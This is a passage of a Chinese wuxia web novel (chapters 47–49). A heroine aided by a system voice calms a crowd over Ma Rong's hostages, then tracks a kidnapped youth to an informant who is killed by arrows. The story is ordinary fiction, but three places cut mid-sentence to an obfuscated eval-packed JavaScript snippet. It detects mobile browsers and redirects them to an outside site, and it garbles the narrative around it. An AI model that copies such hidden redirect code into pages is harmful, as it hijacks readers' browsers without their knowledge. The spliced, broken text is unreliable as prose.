为表诚意,先送薄礼两份:一为松涛文馆的学生,一为和州经历司经历的第三子。 姜六航的目光从信纸移开,落回场内。 兵士正抬起那蓝袍青年的尸体,一个身着青色官袍的中年男子官帽歪斜,满面泪痕,几乎是半拖半抱着一位完全脱力的妇人,踉跄着跟随在兵士后面。 人群默默地让开一条路。 妇人华丽的衣裙沾满尘土,喉咙里发出压抑的呜咽,像钝刀子刮过人心。 又有几个兵士走到死去的学生边,却被伏在尸身上痛哭的一男一女赶开。 女子状若疯狂,死死抱住尸身,对试图靠近的兵士又抓又挠:“滚开,谁也别动我儿!不抓住马荣那个畜生偿命,我就死在这儿陪我的儿。” 旁边的男人涕泪横流,对着紧闭的太守府大门嘶声叩拜:“太守大人!求您为民做主啊,为我儿报仇。” 那失去儿子的夫妇依旧在哭喊、叩求,但渐渐的,场中更多的声音却变了调子。 “太守,下令撤兵吧!” “马荣抓了那么多人,那都是大夏的子民,太守不能置他们不顾!” “请太守为民做主!” 起初是家属的哀求,很快,浑厚的内力将呼喊声推上新的高峰。参加武林大会的人中,真正有家属被掳的不过三十余人,但这些人无一不是一方豪强,拥护者众多。几百武者的声音汇成洪流,震得屋檐瓦片簌簌作响。 “请太守撤兵!” “撤兵!撤兵!” 人群向前涌动,兵士组成的人墙在巨大压力下开始扭曲、变形,眼看就要被冲破。 姜六航的眉头缓缓皱起,目光锐利地扫过那些情绪激昂的面孔。 “999,扫描百步内所有人的信息。”她沉声道。 她上辈子看过一个电视剧,里面的一个犯罪者,每次作案后都回到现场,躲在人群中观察。马荣会派人守在这里,第一时间获得官府的应对之策吗? —— 震天的呼喝声传进府内,传到正堂。 洛太守躬身站在下首,额角渗出细密的汗珠,他却不敢抬手去擦。 “皇上,已查明,除部分武林人士家属,其余被掳者均是今日在府城内失踪。如此精准,同时下手,必是早有预谋,对目标行踪了如指掌。” “马荣非和州人士,其手下陌生面孔不便久留城内,在城内打探消息的另有其人。”上座传来沉冷的声音,那声音不高,却压得堂内空气一凝。 洛太守心头一跳,愈发弓下身子:“皇上圣明,他应是在本地雇用了眼线,为其打探消息。” 秦信指尖捻动着一串幽黑如墨的佛珠,苍白的手指与幽亮的黑色形成惊心动魄的对比,淡声道:“查。着兵士细察城中近日暴富、行踪诡秘者。找到,立刻讯问,挖出马荣藏身之处的线索。” “臣遵旨!”洛太守连忙应道。 “还有,”佛珠在指尖停顿,发出一声轻微的“嗒”,“马荣手下行动自如,抓人出城如入无人之境。和州官场,必有内应。洛太守,你配合冯统领,给朕把和州官场,从上到下,好好清查一番。” 语音如先前一样平淡,其中并无肃杀之意,洛太守后背却瞬间被冷汗浸透。和州出了通贼的内应,他这个太守难辞其咎。 皇上,心里可责怪他? 但还用他办事,应是给他戴罪立功的机会。 他想着,视线悄悄瞄向冯简。 这位威义伯兼御林军统领,皇帝身边最信任之人,面无表情地侍立一旁,眼神锐利如鹰。 “臣……领旨。”洛太守声音发颤,心中念头急转,盘算着待会如何与这位御前红人打交道。 “撤兵!撤兵——!” 外面的声浪陡然拔高,清晰地撞进来。 堂内一片死寂,只有佛珠在苍白指尖下,一下下极其缓慢地转动摩擦的声音。 内外两种声音交织,一极响,一极轻,让屋里两人绷紧了每一根神经。 突然,那转动停止了。 骨节分明的手,将佛珠轻轻按在紫檀桌案上。 “嗒。” 一声轻响,落在两人耳中,却如惊雷炸响,心脏猛地一缩。 皇上……会撤兵吗? 冯简悄悄瞥向那坐于桌旁的人。 若是围剿旁人,冯简有七成把握,以皇上的性子,会为保人质而暂缓。可偏偏是马荣!这些年,生擒马荣,取其头颅祭奠衡王,早已是皇上刻入骨髓的执念。 立在桌前直面皇帝的洛太守更是心惊胆战,承受着巨大压力。 皇上亲临和州坐镇,布下天罗地网才将马荣困住,怎肯功亏一篑?可外面……要么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864415|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用武力镇压,要么给一个交代。 他喉头滚动,试探道:“皇上,臣派人去把他们遣散吧?” “你打算派多少人去遣散他们?”秦信抬眼,凤眸幽深。 洛太守讷讷。 六百武士,其中许多能以一当十。 可城中兵士大多被派去守着路口,只余一千人,如何敌得过?他提“遣散”,不过是寄望于皇上身边的御林军能出手镇压。 洛太守稍一抬头,正对上一双凤眸,眸中一片了然,显然看穿了他的心思。 “若朕未来,面对此等情势,你当如何?” 洛太守不敢隐瞒,硬着头皮道:“回皇上,被掳者身份非同小可。松涛文馆学生已死一人,若再有死伤,恐引起天下士林震动。其馆长傅大儒,笔锋如刀,当年一篇《斥姜衡文》,言辞犀利,切肤割骨,天下传诵。若任由人质被杀,怕他发出些不利朝廷的言论。” 他飞快瞥了一眼,见皇上神色漠然,继续道:“且富商、官眷影响甚大,若不撤兵,和州必乱。更兼江湖人桀骜,一旦冲突,城中兵力,万难压制,局面恐将失控。为免大祸,臣……臣只能虚与委蛇,假意撤兵,再于其必经之路上设伏擒拿。”说完,他几乎不敢呼吸。 秦信嘴角勾起一抹极淡的弧度。 洛太守膝盖一软,险些跪倒。 “你怎知,他要去南海?” 洛太守陡然意识到什么,脸色一下变白:“马荣……信上写的。” “他写的,你就信?”秦信的讥讽毫不掩饰,“若他声东击西,你这般撤兵设伏,岂非正中他下怀?” 洛太守面如土色,用袖子狼狈地擦着额上不断滚落的汗珠。 秦信不再看他,转向冯简:“锦衣卫那边,何时能搜完?” 听到“锦衣卫”三字,洛太守心头又是一凛。 新朝伊始,皇上建锦衣卫,将原铁骨军侦察部并入其中。锦衣卫由皇上直属管辖,监察百官,搜寻情报,缉捕罪犯,是皇上手中最锋锐的刀。 冯简躬身:“回皇上,最快,也需三日后的寅时初刻,才能将可疑之处彻查完毕。” 三天后,寅时!洛太守只觉得眼前发黑。 就算是最快,也卡在最后时限的边缘。但随着时间的推移,两边的对立会越来越尖锐。当剁指头、割耳朵的消息传来时,那些人质的亲人,还能保持理智,不引爆冲突吗? 而且,这还是最快的情况。 如果三天之内,没找到马荣呢? 外面“撤兵”的声浪一浪高过一浪,秦信起身:“去看看。”他声音沉静,迈步向外,又抛下一道不容置疑的命令,“调五千御林军,即刻前来。” 洛太守跟在后面,听到这话,心瞬间沉到谷底。 完了! 皇上这是铁了心,寸步不让。 冲突已无可避免。 恰逢武林大会,高手云集,纵然没有衡王那般万军之中取上将首级的绝世人物,但只要皇上受到一丝惊扰,哪怕掉了一根头发,他这个太守,也当到头了。 47. 第 47 章 姜六航绕着围着的兵士走了一圈,再回到原点,把这里的所有人扫描了一遍。 可惜,没发现斩月楼余孽。 是马荣胸有成竹?认定官府抗不过压力,于是把全部帮众都聚集到了一起,只等着官府撤兵后跑路? 在姜六航查探的这段时间,请求撤兵的喊声愈加高亢,一大半的人都在喊:“请太守撤兵!” 一个尖利的女声插进来:“不能撤!不能让马荣跑掉!”那声音饱含怨恨,穿透层层声浪,“马荣杀死我儿,我要看着他被千刀万剐!” 姜六航隔着帏帽的薄纱望去,只见跪在尸首之旁的那妇人发髻散乱,神情疯狂。 妇人身旁,一个长衫老者正带着学生们劝慰:“夫人,我知你失子的心情,可若不撤兵,只恐更多父母失去子女,妻子失去丈夫。先撤兵稳住贼子,救出人质,再图后计。学堂里除令郎,还有七个学生陷于贼手,令郎地下有知,必望同窗平安。” 姜六航认得,那是当年骂她最凶的傅大儒。 “其他人与我何关?”妇人双目赤红,“我只知道,我的儿子死了,死了!要替我儿子报仇!” 周围人群瞬间被点燃了怒火,他们的家人性命如今正捏在马荣手里,闻言纷纷怒目而视。 “怎的这样不通情理?为你儿子一个,要那么多人跟着陪葬吗?” “全然不顾旁人死活,如此自私。” “你是不是自己死了儿子,就不想别人的儿子被救出来?巴不得人人都跟你一样,尝尝丧子的痛苦?” “心思这样恶毒。” “恶妇!” 一声声讨伐,言辞越来越狠辣,像要把所有的焦虑和担忧都朝着女子发泄出来。 傅大儒怒道:“住口!” 众人平日都很尊敬他,但这时亲人性命堪忧,也顾不上大儒不大儒了,依然叫骂不休。 少年们听不下去了,挺身而出,替那女子分辨。 “她只是报仇心切,哪能说恶毒?” “谁遇到这样的惨事,都经受不住,怎能苛求她此时还一心为旁人着想?” 可少年们的声音迅速被淹没,连他们自己也成了众矢之的。 不管别人怎么骂,妇人充耳不闻,只反复嘶喊:“马荣杀死我儿,要替我儿报仇!” 她身旁的男子正对府门跪下,额头重重磕在地上。 “砰——砰——” 磕一下,喊一声:“请太守为民做主!” 与此同时,武林人士已冲破兵士的防线,汇入门前空地的人潮,一同向紧闭的府门压去,吼声震天: “撤兵!撤兵!” 他们只顾前冲,无人察觉,太守府高高的围墙上,无声地探出了密密麻麻的箭镞,冰冷的寒芒在阳光下闪烁,瞄准了下方涌动的人群。 府门大开。 洛太守在亲兵的护卫下走出来,兵士高喊:“退下!太守有令!退下!” 但失控的人流如同决堤洪水,非但未停,反因冲得更急。 若只是普通百姓,尚有几分惧官之心,情势不至于立刻演变到如此地步。可人群中大半是武林豪客,虽然这几年被官府约束着收敛了些,到底积习难改,此刻热血上头,天王老子来了也拦不住,只想擒住太守逼他撤兵。少数想停步的人,也被裹挟着身不由己向前涌。 姜六航站在一块石头上,越过攒动的人头,看到大哥戴着帏帽立在门边,静静地望着冲过去的人群,一手握住刀柄,一手缓缓转动佛珠。 冯简在大哥身后,举手示意。 姜六航心中一凛,全身都绷紧。 那是攻击的手势。 墙头寒光闪烁。 手放下时,就是箭射出时。 他们要动手了。姜六航目光急扫,寻找破局之法。 人群迅速逼近府门,十步、九步、八步……姜六航看见冯简举在空中的手微微一动。 来不及细想了。 姜六航身形一闪,快速贴近旁边的唐小豆,抽出他腰间的宝刀,左手同时拔出自己佩剑。 “铮——铮——”刺耳的刀剑摩擦声,如同钝器刮过铁皮,瞬间压过所有声音。 这声音带着一种诡异的穿透力,直钻脑髓,正冲向府门的人群猛地刹住脚步,惊愕回头。洛太守等人亦是满面愕然。 门边,秦信手指一顿,捏住了那颗转动的佛珠,抬眼望来。 冯简的手势僵在半空。 所有人的目光,瞬间聚焦在人群后方那个身影上。 一个戴帏帽的女子,双手分持刀剑,正用力交错摩擦,发出难听的噪音。 “我的刀!”唐小豆按着腰间空荡荡的刀鞘,看着自己转眼间到了女子手中的宝刀,目瞪口呆。但很快,他就回过神,发觉了自己和伙伴们的糟糕处境—— 他们站在女子的旁边,顺带着成了众人注目的焦点。 眼见着冯统领目光扫向他们,少年们不由得齐齐在心中哀嚎。 更糟糕的是,冯统领前面戴着帏帽的那人,能让冯统领如此神态恭敬地贴身跟随,必是皇上无疑。 那人佩在腰间的匕首,套在左腕的佛串,也证实了他的身份。 皇上怎么在这里?还撞个正着! “航航,反派在看你。你不是说,再不往反派跟前凑吗?”999问。 “没办法。”姜六航无奈地道,“他们要打起来了,先过了眼前这一关再说。” 999:“这关不好过,那些江湖人脾气冲动,不容易听劝。” “总要试试。” 姜六航无视聚焦的目光,手上动作不停,持续制造噪音折磨众人的耳膜。她清晰感觉到大哥的目光如同实质,牢牢锁定了她。那目光里探究的意味太重,让她脊背微僵,下意识侧转了身子,不敢正对门口。 “兀那女子,干什么呢?” “快停下,难听死了!” “铮——”姜六航重重一压,刀剑发出最后一声尖啸。 众人耳朵一阵刺痛,一时都住了口。趁着这个空隙,姜六航开口,语调抑扬顿挫,饱含激情。 “呜呼!吾闻忠孝节义乃立世之本,今见姜衡女,方知世间竟有禽兽不如之人!” “匍匐逆贼脚下,以父母遗骨为阶,以家国血仇为垫,甘作杨承帐下犬彘!” “父殁而不知戴天,母亡而不知履霜。此等悖逆人伦之徒,虽豺狼虎豹亦羞与同列!” 她背诵的是当年传遍吴朝,连一字不识的小儿都能诵念几句的《斥姜衡文》。这突如其来的举动,让愤怒的人群集体愣住。在场的人许多不懂那些文绉绉的词句,但这篇文章,太有名了,所有的人都知道。 傅大儒眼望着激情诵文的女子,目光充满惊疑。 站在人群中的黄超,握剑的手背青筋暴起,脸颊肌肉不受控制地抽搐。 整个场面诡异地安静下来,只有那微哑却激越的声音回荡。 秦信肩背不自觉地绷紧。 又是这个声音。 在善庆寺时,就是这个声音,曾在过去的时光里与义弟的语音交织,将他拉回。 姜、衡、姜、衡……这两个字被如此唾骂,像针一样扎进他心里。 姜六航口中不停,右手一扬,宝刀划出一道弧线,恰被唐小豆接住,左手长剑“锵”地一声利落归鞘,恰好三句背完。 “好文!”她拍着巴掌,语中满是赞赏,“慷慨激昂,酣畅淋漓,骂得痛快!想必在场诸位英雄,当年都曾唾弃过那赤霄剑客的所作所为。面对仇敌,自当生死相搏,方显血性。” 说着话锋陡然一转,“可我观诸位此时所为,不思杀贼,反逼至官府,要如马荣所愿撤兵?面对恶贼,如此卑躬屈膝,与当年那跪地求饶的赤霄剑客,有何分别!” 人群瞬间炸锅。 “怎能一样?我们是救人,又不是为自己活命。” “若是我自己落到马荣手中,当然宁死不屈。” 姜六航要的就是搅乱思绪,拖延时间,立刻抓住话头,故作恍然:“哦?明白了!你们的意思是,为自己活命跪贼求饶不行,但为了家人亲友,这膝盖,就能弯了?” 霎时一片反驳之声。 “胡说八道!撤兵只是权宜之计,哪算得上跪?” “赤霄剑客与杨承有杀父杀母的血海深仇,自不该求饶。可眼下情形,当然要先保被捉之人的性命,设法营救。” 众人纷纷附和。 姜六航冷笑更甚:“如此说来,只要没杀你们的亲人,哪怕此人罪恶滔天,天理难容,也和你们无关?只要能救出你们的家人,便可对贼子言听计从,俯首帖耳?哈!这还不算跪,算什么?”她语气中是毫不掩饰的轻蔑,“亏你们平日还以侠义自居,这就是你们的侠义?要我说,这是不分善恶,不顾气节!” 众人被她堵得面红耳赤,一时语塞。 “而且,”姜六航提高声音,“你们未免跪得太早了些!马荣刀锋尚未至眼前,还有三日期限,你们却已麻利干脆地跪下了!” 她目光转向那对抱着尸身恸哭的夫妻:“非但自己跪了,还要反咬一口,骂那不肯跪的人心思恶毒。自私?到底是谁自私?是这要贼子偿命的人,还是你们这群为了自家亲友性命,强逼官府放虎归山的人?” 字字诛心。 有人愤怒,有人却羞愧地低下了头。 先前被骂惨的少年们,只觉得一股郁气终于吐出,暗暗握紧了兵器,打定主意若有人恼羞成怒,要对这仗义执言的姑娘不利,他们拼死也要护着。 实在护不住,他们就去求……少年们偷眼望向府门,那身影带来的压力如山,念头刚起便打了个寒颤。 但他们可以去求冯统领。 帏帽之下,秦信的视线紧紧胶着在女子身上。 声音,那声音他以前明明没听过。 用食的姿势。 说话的语气。 一举手、一投足。 像…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868051|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六航。 他捏着佛珠的手指猛地收紧,骨节泛白。 真是疯魔了。 竟会觉得一个陌生女子像六航。 朝臣们私下议论他为六航招魂是失心疯,或许,他们是对的,他确实快要被这无望的思念逼疯了。 即使隔着重重人群,隔着两层帏帽,姜六航也能清晰地感觉到那道目光的沉重,那目光里的审视和探究让她如芒在背,那含着的伤痛又让她揪心。 她强忍着不转头去看,微微调整站姿,让帏帽的纱帘更严实地遮挡侧脸,身体也保持着对门口的倾斜姿势。 终于有人转过弯来,抛开跪不跪的争论,叫道:“可是,等不到三天了,明天不撤兵就要剁手指啊!” “死的已经死了,活着的总要救。” “难道要为一人之仇,搭上几十条性命?” “一人之仇?”姜六航厉声反问,猛地抬手,直指地上那具尸首,“诸位的记性太差了吧?就在一刻钟前,才抬走一个,那也是马荣杀的。” 那人脸上通红,他想解释,他说的“一人之仇”,并非特指“一人”。但姜六航不容他再开口,声音中带着雷霆之怒:“你们又可知,像他一样,被马荣无辜残杀者有多少?你们可知,有多少冤魂日夜哀泣,多少亲人泪尽泣血?他们在等着马荣伏诛,血债血偿的那一天。” “宣德二十三年,马荣夺泉州,灭两官员满门,老弱妇孺百余口惨遭屠戮。宣德二十四年,燕城之下,两千百姓被他驱为肉盾,尸骨成山。宣德二十六年,他放湟河淹鹿关,下游三百里尽成泽国,家破人亡者不计其数。宣德二十七年,三千铁骨军将士被他俘获,活埋坑杀。”每一个字都像浸透了血,砸了出来。 冯简拳头捏得咯咯作响,三千兄弟,那里面有他儿时的伙伴。 悲恸之余,他又暗暗奇怪。 不过是一民间女子,却对马荣之事一清二楚,历历数来。这些,朝中的许多官员都不见得完全知晓。 他一边想着,目光习惯性地落在秦信身上,忽然顿住。 皇上的头朝着女子的方向,左手捏住一颗佛珠不动,右手紧握刀柄,上身微微前倾—— 这是一个极度关注的姿态。为衡王招魂时,皇上经常就是这样的姿态。 姜六航本是拿话来堵这些人,说到这里时,却不禁满腔悲愤,大声道:“死的已经死了,你们说得好轻巧!这血海深仇,死了就能一笔勾销吗?”她指向那对绝望的夫妻,“看看他们!那千千万万被马荣残害者的亲人,便是这般模样!” 众人顺着她的手指望去,那对夫妻脸上泪痕斑斑,眼眶通红,喉咙里发出悲痛欲绝的哀泣。男子额头上一片青紫,渗出血丝。 再是铁石心肠,听了那一番话,再见到眼前情景,都不由得心生恻然。 “马荣要逃往海外,你们毫不犹豫地给他放行。”姜六航缓缓地扫视着人群,帏帽的纱帘也挡不住那目光中的凛冽锋芒,如同无形的刀锋刮过皮肤。目光所到之处,人人都不由自主地往后退。 她一直高昂的声音低沉下来,像坠上了沉沉的铁石,透着无尽的悲哀:“你们可想过,这一放,海阔天长,可能再抓不到他?那些亡魂,再等不到安息的那一日?” 她深吸一口气,声音中带上了恳求:“还有三天,请你们,为了那些枉死的军民,再等三天。” 999只能扫描到一百步。 不知大哥带了多少锦衣卫来?若能与他们配合,或许三天内真能找到马荣。只是这身体,三天不眠不休全力施展轻功,能撑得住吗? 一片压抑的沉默。 最先转身的是傅大儒,他深深看了一眼姜六航,眼神复杂难辨,最终长叹一声,带着学生们默默退开。 接着,一个,两个……陆陆续续有武林人士收起兵器,低头退入人群。 那几个少年互相使了个眼色,悄悄挪到姜六航身边,低声道:“姑娘,快随我们走!”不由分说便拉着她的衣袖,将她带入后退的人流。 姜六航:“……” 场中最终只剩下五六十人。 洛太守这才上前,扬声安抚,承诺官府正全力搜寻马荣踪迹,恳请众人耐心。 姜六航一边后退,一边在脑海里吩咐999:“调出和州地图,标记所有易于藏匿的地点,规划最优搜索路线。” —— 府门口,秦信微微侧头。 冯简上前,低声询问:“皇上有何吩咐?” 秦信的声音带着一丝压抑:“将市集上所有《斥姜衡文》收缴,令家中购有者上交官府,统一重印,文名及文中‘姜衡’二字,皆改为‘赤霄剑客’,再行分发。” 冯简一怔。 他以为皇上是要对目前情况做重要指示,谁知是一件风牛马不相及且莫名其妙的事。 但他不愧是皇上的心腹,只一转念就明白过来,连忙应道:“是。” 皇上这是,听不得那两个字连在一起被人唾骂。 48. 第 48 章 拉住姜六航手的是一个十五六岁的少女,不知是哪位大人的女儿,忽闪着一双明亮的眼睛:“姐姐说得真好!一下子就把那些人镇住了。” 这份毫无保留的热情让姜六航心里微暖,指尖微动,正要回言,一个迟疑的声音插了进来:“你们看,皇……那位,是不是一直在盯着咱们?” 空气瞬间凝滞。 姜六航缩了缩脖子,心底警铃疯狂作响。她无比确定,那道锐利如鹰的目光,盯着的不是少年们,是她。自她挺身而出那一刻起,那目光就牢牢锁定了她。 可少年们不知道,他们飞快地偷瞄了一眼那处,随即爆发出压抑的惊呼: “真的,在盯着我们。” “完了完了,不会是要抓咱们回去吧?” “快走快走!” 少年们互相推搡着,慌慌张张地逃离现场,还不忘拉着姜六航。 姜六航:“……” 她看着这群惊弓之鸟,心中无奈。 那人若真是盯上了他们,少年们莫非天真地以为,只要躲开了视线,那位手握天下的帝王就找不到他们了? 且不说那人早早就派了人暗中盯着,单是此刻,那五个御林军军士中,就有三个如影随形,隔着不远不近的距离缀在他们身后。 “姑娘你往哪儿去?”姜持问。 其他少年都已亲热地改口喊“姐姐”,唯独姜持,虽也显得亲热,却还是称她“姑娘”。 姜六航心头掠过一丝疑惑,但眼下无心细究,顺口报了客栈地址。 她打算回去简单收拾一下就立刻去找马荣的踪迹。 姜持道:“正好顺路,经过我们租的宅子,可以同行一段。” 姜六航微讶:“你们这就回去?”这群精力旺盛的少年,哪次不是要疯玩到日落西山? “嗯,”姜持解释道,“严临早上说肚子不大舒服,留在屋里歇息没来。我们先回去看看他。” 严临?姜六航这才注意到队伍里少了一个人。仔细回想,从武林大会开始,就没见过那孩子的身影。 这时,999已经画好路线,调出屏幕给姜六航看:“航航你看,把这些路线跑完,扫描就能覆盖府城方圆一百里,马荣躲到什么旮旯角落都能把它抓出来。可是,航航你以最快速度奔跑,一刻不停,也需要四天的时间,才能把这些路线全部跑一遍,来不及啊。” 姜六航:“还有和州官兵和锦衣卫,和他们配合,三天应该可以。” 999忧心忡忡:“三天三夜,不眠不休,还要全力运功,航航你又不是铁打的人,哪受的住?唉,要是统还有能量,只要一下,就可以全部扫出来……” 姜六航也很遗憾,不过她不是遗憾无法解决的能量问题,而是遗憾,马荣竟然没派人守在现场。 马荣就这样笃定,毫不担心? 也是,这毒计,加上众多武林高手的压力,若非大哥亲至,洛太守绝对扛不住。 但马荣应该不会去南海。 声东击西是他的惯用伎俩,要求撤掉南海岗哨必是幌子。 东?西?北?他究竟想逃往何方? 没等姜六航想出个眉目,一行人已到少年们租住的宅院门前。 少年们进入院子后,姜六航正欲转身,却听见宅院内陡然爆发出数声惊叫:“啊——!”“临子!” 姜六航的心猛地提起,提气运力,飞快地冲进院子。 浓烈到令人作呕的血腥味狠狠撞过来。 院子中央,两具躯体倒卧在血泊中,胸口分别有一道巨大的贯穿伤,粘稠的暗红血液仍在汩汩涌出,蜿蜒成几滩令人心悸的血泊。 姜六航疾步上前俯身探查,指尖触到冰冷僵硬的皮肤,颈侧脉搏全无。她探手入怀,摸出两块铜牌,上面铭刻编号。 是留守的两名御林军。 姜六航咬了咬唇,把铜牌放回,以手合上他们瞪着的眼。 “临子不见了!” “到处都找不到!” 少年们脸色煞白如纸,从宅子各处惊慌失措地跑出来,声音带着哭腔。连最沉稳的应辉,此刻也嘴唇发颤。 唐小豆双目赤红,攥紧的拳头指节发白:“谁干的?要敢伤了临子,老子跟他拼了!” 少年们惶然四顾,最终目光不约而同地聚到那个俯身查看尸首的身影上。 帏帽遮住了她的面容,但那挺直的肩膀和专注冷静的姿态仿佛带着一种奇异的安定力量,少年们下意识地靠拢到她身边。 应辉深吸一口气,强迫自己冷静下来,也蹲下身来,在尸体上翻找可能的线索。 又有两个少年上手帮忙。 其余人站在旁边焦急地看着。 “临子是被抓走了吗?” “这两人是谁?谁杀的他们?” “都怪我。”一个圆脸少年捶打着自己的头,满是自责,“大夫说睡一觉就好,我就出去了,该留下来陪他的!” 应辉在尸体怀中摸到了一个牌子的硬物,正要掏出来,姜六航抬起头,问道:“严临先前在哪间房休息?” 姜持指向西厢:“那间。” 姜六航身影一晃,飞掠向那房间,眼角余光瞥见那三个一直尾随的御林军军士翻墙而入,其中两人迅速蹲下检查同伴的尸首,动作中带着压抑的悲愤。另一人则向警惕戒备的少年们亮出自己的铜牌:“奉主子命,护卫各位周全!” 唐小豆眼尖,瞥见铜牌上独特的花纹,失声惊呼:“御——” 一个少年捂住他的嘴,把他后两个字堵了回去。 姜六航几步抢入房内,目光扫过整个空间。 一张圆凳翻倒在地。 床上被褥凌乱不堪。 她屏息凝神,一寸寸搜寻着可能被忽略的蛛丝马迹。 地面、墙角、窗棂、床铺…… 那三名御林军军士紧随其后进入,也沉默地加入搜索。 少年们挤在门口,紧张地张望。 最后,姜六航的目光定在床榻上,掀起垫被。 在靠近床沿的木板上,赫然有几道暗红色的、仓促划出的痕迹。 一道斜斜的撇,两道平行的横。 而在那两道横线的正上方,有一个模糊的血指印。 房间里的空气仿佛凝固了,所有人的呼吸都屏住,目光死死定在这个印记上。 是什么?符号?还是未写完的字? 如果是字,会是什么? 那个指印,是第四笔的起笔?还是无意按上的? 一撇,两横,第四笔的起笔在两横正上方,这个结构…… 蓦地,几句当时没有留意的话不期然地闪现在姜六航脑海里。 “牛老大发大财了!” “他哪儿发的财?除了在善庆寺表演胸口碎大石,也没见他干别的啊?” 牛! 是个未完成的“牛”字! 严临在仓促之间,留下了抓走他的人的重要线索。 “是牛老大!”姜六航脱口而出。 “三九,定位,太平坊金鱼胡同十一号。”姜六航在脑中厉声下令。 她记得,那时人们说过,牛老大住在这里。这才过去没几天,想必他还没来得及搬家。 “是!”999应声。 眨眼间,姜六航面前的地上出现了一条别人都看不见的红线。 “航航,你跟着红线走。” 姜六航毫不迟疑,身形化作一道肉眼难以捕捉的残影,循着那道红线的指引夺门而出。 众人惊愕互望一眼,立刻拔腿跟上。 —— “砰——!”木板在姜六航灌注内劲的一脚下轰然倒塌。 屋内,牛老大正满脸贪婪地抚摸着桌上几锭白花花银子,被这声巨响惊得魂飞魄散,抬头望过来。看见姜六航,他一愣,接着看到随在她身后涌进来的少年们,他脸色陡变,布满慌张、心虚,猛地跳起来,慌不择路地就想往后门冲。 姜六航哪能容他逃走,眼中迸出寒光,脚下发力,瞬间掠过去,隔着桌面抓住他肩头,狠狠向下一掼。 “啪!”牛老大半个身子被死死砸在桌面上,侧脸紧贴桌面,因巨大的压力扭曲变形,口鼻喷出血沫。 “啊啊啊!”他杀猪般地惨嚎起来。 桌上的银锭叮叮当当滚落一地。 一个粗壮如牛的汉子,竟被一只纤细的手臂死死压制,如同砧板上的鱼,徒劳挣扎却动弹不得。冲进来的众人见此情景,无不倒吸一口凉气,俱都吃惊不已。 “天杀的!强盗啊!还有没有王法了!”随着尖利刺耳的哭嚎声,一个满头珠翠, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不不不,不是啊侠女,我没有。”牛老大慌忙否认,感受到咽喉处被陡然逼近的剑尖刺破的疼痛,又慌忙改口,“我……我是跟他们提过一嘴,可他们说只要本地人,难得费力气去查外地人的来历。可今天他们又突然找上门,要我带路去大侠们的宅子。我隐约间听见他们说,大侠们身份贵重,一个顶一百个。” 少年们气愤不已,喝问道:“他们抓了人往哪里走了?” “他们不让我跟着,我真不知道啊。”牛老大哭嚎。 一名御林军军士握着长刀走过来,脸上森冷:“那留着你没用了。” 牛老大瞪大眼,瞳中溢出恐惧,大喊:“北边!他们是从北边来的!今天城里是大太阳,可城外北边那片儿,上午下过暴雨。真的!胡同里杨鸿家的亲戚上午刚从北边来,说就隔着半里地,这边明晃晃的日头,那边雨下得睁不开眼。那伙人,他们来的时候,裤腿鞋子全是湿泥巴,肯定是从北边冒雨过来的。” 少年们急着问:“北边哪里?具体地点!” “是,是城北……” 就在这时,破空之声骤然响起,一支利箭倏地袭向牛老大。 变起仓促,少年们和御林军军士都不及反应。 姜六航眼中厉芒爆涨,右手长剑挥出,“铛!”一声脆响,箭矢被格开,扎入墙壁。 “嗖!”相隔不到十分之一秒,第二支箭紧随而至。 姜六航左手发力,将牛老大庞大的身躯如麻袋般提起,险之又险地避开。 就在这旧力刚去、新力未生时,第三支箭,贴着门框的阴影,从一个近乎不可能的角度袭来,正正插到牛老大的喉咙上。 牛老大眼珠凸出,转眼气绝。 “啊——!”那红唇妇人发出一声短促尖叫,眼白一翻,彻底昏死过去。 姜六航猛地扭头,目光射向箭矢袭来的方向。 窗外人影一闪,转眼消失。 “三九,扫描。”姜六航在脑子里道,同时往门外奔去。 众人紧跟着追出来,却已不见人影。 唐小豆咋舌:“好高的轻功!” 少年们心里都不由得地生起同一个疑惑:这样高的轻功,到哪里都会被待以上宾之礼,为何要去卖艺,赚那样一点辛苦钱? 发生了如此血案,严临生死未卜,幕后黑手狠辣诡异,少年们再也无法躲藏,主动跟着三个军士去见皇帝。 49. 第 49 章 姜六航紧追着那人出了城。 两道身影如离弦之箭,瞬息掠过城门,留下身后守城兵士的一片叱喝。 姜六航跟着前面那道身影向东疾驰,心中却暗自为难。 刚刚999已经扫描,不出意料,此人是斩月楼成员。 根据牛老大提供的信息,马荣及其手下藏在城外北边某处,可这人却往东边去,显然意在混淆视听。 不确定甩开了她,这人大概会一直兜圈子。 以她的功力,本可以追上去,强行擒下此人逼问。但马荣也不知对斩月楼帮众怎么洗的脑,个个死心塌地,她恐怕这人被抓住之前自我了断。 姜六航几次尝试拉开距离,隐入路旁草木,希望这人以为已经甩开了她。奈何此人极为警觉,专挑视野开阔之地奔逃,让她无处藏身。 正一筹莫展时,空中一团灰影疾冲而下,绕着她欢快盘旋,“啾啾、啾啾”鸣叫不绝。 